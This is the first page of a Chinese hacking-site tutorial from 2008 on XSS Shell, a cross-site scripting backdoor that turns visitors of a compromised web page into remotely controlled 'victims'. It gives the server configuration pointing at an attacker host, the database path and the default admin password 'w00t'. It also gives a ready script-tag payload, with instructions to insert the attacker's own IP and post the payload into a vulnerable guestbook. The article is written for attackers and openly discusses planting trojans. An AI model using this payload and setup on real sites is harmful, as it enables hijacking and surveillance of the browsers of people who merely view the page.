安全中国首页 > 文章中心 > 跨站技术文章
 
另类跨站攻击工具XSS Shell(图)
更新时间:2008-4-10 0:33:37
责任编辑:果果龙
热 点:

  XSS跨站脚本攻击属于被动式攻击,对于急于求成的朋友来说,往往不会被重视,而喜欢挂马的朋友则喜爱有加。通过构造特殊的页面,再把调用该页面的代码嵌在被攻击者网站的某一网页中,而当有人浏览该页面时,在后台即已执行了内嵌的代码。对于被调用页面的构造,根据不同的需求功能也不一样。最常见的是挂马,比如利用IE漏洞悄悄在浏览者的计算机上种植木马;而另一种方式则可以利用互动式页面的各种语言(如ASP,PHP,JSP等)来构造一个完全达到自己需求的页面,而不是简单地做一种达到目的的“介质”。

  对于第一种攻击来说,问题是显而易见的。你得面临的问题起码有四个,分别是相应的系统漏洞、系统补丁、杀毒软件以及防火墙。也就是说,首先你要保证手上有下载并执行漏洞的利用软件,然后祈祷对方没有及时打补丁的习惯,接着下载了软件开始祈祷杀毒软件别把你的木马给Kill掉,最后在通信的时候希望对方的防火墙别阻拦你;而且木马个头一般不小,在浏览器中执行是有异常症状的(起码我们看黑防的人会起疑心)。而后一种攻击方式则不同了,它基本遵循SQL Injection的最大优点:穿透防火墙。除了网站系统的漏洞外,基本不需要其他条件支持。因为控制端的网页在自己服务器上而非类似WebShell放在目标服务器上,所以即使对方的杀毒软件再厉害也没有用的。说了这么多,今天的主角也该上场了,它就是XSS Shell。

  XSS Shell可以作为一个强大的后门和远程管理软件。这个概念首先是由“XSS-Proxy http://xss-proxy.sourceforge.net/”提出的,XSS Shell可以向木马发送请求和接受相关数据,并且以被嵌入代码的页面为后门。这里提醒大家的是,被攻击者不一定是服务器,服务器只是一种介质,真正被攻击的是浏览服务器上我们动过手脚的页面的人。

  XSS Shell的配置

  XSS Shell解压后在目录下有3个文件夹和两个文件,一个是TXT说明,一个是ASP文档。我们把文件夹xssshell和“xssshell.asp”放在自己的服务器上,db文件夹放在服务器上一个隐蔽或是非Web目录下,确保其不能被HTTP下载。

  1) xssshell.asp的配置

  打开xssshell.asp,找到“SERVER CONFIG”部分,代码如下所示。

  // You XSSShell Server

  var SERVER = "http://attacker/";

  // This file's name

  var ME = SERVER + "xssshell.asp?p=1<%=VicAdd%>" ;

  // Connector file (can be in php, cfm, pl etc. just stick with implementation)

  var CONNECTOR = SERVER + "xssshell/connector.asp";

  // Commands file (can be in php, cfm, pl etc. just stick with implementation)

  var COMMANDS_URL = SERVER + "xssshell/commands.asp";

  这里用于定义服务器,我们把Server的值换成自己的IP就可以了,如把http://attacker/换成http://127.0.0.1/。为了保险起见,最好再核查一下修改后的Server是否可以让后面的ME、CONNECTOR、COMMANDS_URL的值可行。

  2) xssshell/db.asp的配置

  这里主要修改数据库的路径和进入管理的密码。

  ' Password protection added

  Option Explicit

  '60 minutes

  Session.Timeout = 60

  'Open In Live Enviroments

  'On error resume next

  '// DATABASE CONFIGURATION

  Const DBPATH = "..\db\shell.mdb"

  'Activity check time as seconds

  Const Activity = "10"

  Const SQLSERVER = False

  在“Const DBPATH=”后面修改自己的数据库的地址。管理登录的默认密码是“w00t”,大家可搜索“w00t”后替换为自己的密码。

  3)调试成功

  该软件还提供了一个“sample_victim”文件夹,从字面上就可以猜出是例子的意思,文件夹里有四个Web页面,其中的default.asp运行后如图1所示。

       

 

  看似正常的页面,实际上其中已经嵌入了我们需要的代码:<script src="http://127.0.0.1/xssshell.asp?v=336699"></script>。也就是说,以后我们只需要在可以跨站的地方直接输入这段代码就可以了。

  图2XSS Shell的管理页面:http://[YOURHOST]/xssshell/,输入密码后即可进入,VICTIMS下已经显示有一个“受害者”了。由于所有页面都是在自己的计算机上,所以下面我再给大家做个实例演示。

      

 

  首先确定自己服务器的IP。打开CMD输入IPCONFIG,得知自己的IP为:125.71.*.*,修改<script src="http://127.0.0.1/xssshell.asp?v=336699"></script><script src="http:// 125.71.*.*/xssshell.asp?v=336699"></script>。接着打开一个存在跨站漏洞的页面,如图3所示,然后发表留言,如图4所示。

             

 

            

1 2 3 下一页

·上一篇: 如何应对跨站脚本攻击
·下一篇: 暂时空缺
 
相关文章
48小时热门文章
 
一日一软件
一日一动画